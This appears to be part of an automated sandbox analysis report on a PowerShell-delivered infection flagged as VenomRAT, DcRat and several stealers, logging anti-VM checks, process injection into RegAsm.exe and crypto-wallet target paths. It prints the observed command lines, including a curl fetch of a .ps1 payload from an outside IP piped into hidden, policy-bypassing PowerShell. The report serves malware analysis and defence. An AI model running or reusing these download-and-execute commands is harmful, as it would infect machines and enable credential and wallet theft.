Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: TASKMGR.EXE#PROCESSHACKER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3030000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4938	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4219	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5723	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3870	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 6786	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 3013	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.dll

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2436	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1668	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6224	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3536	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2612	Thread sleep count: 5723 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2612	Thread sleep count: 3870 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2356	Thread sleep time: -18446744073709540s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 6528	Thread sleep time: -25825441703193356s >= -30000s	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxAAntiAnalysis : Hosting detected!AAntiAnalysis : Process detected!QAntiAnalysis : Virtual machine detected!AAntiAnalysis : SandBox detected!CAntiAnalysis : Debugger detected!
Source: RegAsm.exe, 00000009.00000002.4597271061.00000000056F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VirtualMachine:
Source: RegAsm.exe, 00000009.00000002.4580697643.00000000013D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: powershell.exe, 00000000.00000002.2191223685.0000027EC2424000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2351616241.0000029DF41E8000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000006.00000003.2170559725.000001E268D35000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: sfqbr.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_4980.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_4016.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

.NET source code references suspicious native API functions

Source: 5.2.powershell.exe.29df4120000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 5.2.powershell.exe.29df4120000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref libraryName), ref methodName), typeof(T))
Source: 5.2.powershell.exe.29df4120000.13.raw.unpack, ClasserPlus.cs	Reference to suspicious API methods: VirtualAllocEx(processInfo.ProcessHandle, num3, length, 12288, 64)

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"

Compiles code for process injection (via .Net compiler)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File written: C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.0.cs

Jump to dropped file

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 700000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 702000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E8A008	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Pack.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/sfxqr.ps1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nfy3200k\nfy3200k.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES617A.tmp" "c:\Users\user\AppData\Local\Temp\nfy3200k\CSCAAE263D2780F40D49B69A6171B4A2D61.TMP"	Jump to behavior

Source: RegAsm.exe, 00000009.00000002.4582340011.0000000003373000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.000000000335D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.00000000032EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: ProgMan
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd!SHELLDLL_DefView
Source: RegAsm.exe, 00000009.00000002.4582340011.0000000003373000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.0000000003443000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.000000000332F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager`,
Source: RegAsm.exe, 00000009.00000002.4582340011.0000000003373000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.000000000335D000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4582340011.00000000032EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager@\

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected VenomRAT

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: RegAsm.exe, 00000009.00000002.4597271061.0000000005630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected BrowserPasswordDump

Source: Yara match	File source: 5.2.powershell.exe.29dec589c5a.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29debe9c1b2.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 00000009.00000002.4582340011.0000000003204000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 9.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec168498.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.powershell.exe.29dec28c222.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.4562176315.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2322702408.0000029DEC168000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 4508, type: MEMORYSTR

Yara detected Strela Stealer

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 4016, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: powershell.exe, 00000005.00000002.2322702408.0000029DEBE46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: powershell.exe, 00000000.00000002.2194708538.00007FFD34740000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

